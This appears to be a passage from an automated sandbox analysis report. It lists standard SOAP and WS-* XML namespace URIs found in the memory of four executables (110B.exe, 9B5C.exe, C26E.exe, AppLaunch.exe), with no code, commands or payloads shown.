Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wrap
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/2005/02/trust/tlsnego#TLS_Wrap
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/actor/next
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2002/12/policy
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/sc
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/sc/dk
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/sc/sct
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/Issue
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/Nonce
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/Issue
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/SCT
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/Issue
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/SCT
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/SymmetricKey
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust/PublicKey
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKey
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/06/addressingex
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/faultD
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Aborted
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Commit
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Committed
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Completion
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Durable2PC
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepare
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepared
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/ReadOnly
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Replay
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Rollback
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Volatile2PC
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/fault
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContext
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContextResponse
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/Register
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/RegisterResponse
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/fault
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/AckRequested
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequence
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequenceResponse
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/LastMessage
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/SequenceAcknowledgement
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequence
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/dk
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/sct
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust#BinarySecret
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/CK/PSHA1
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Cancel
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Issue
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Nonce
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/PublicKey
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Cancel
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Renew
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Cancel
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Renew
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Renew
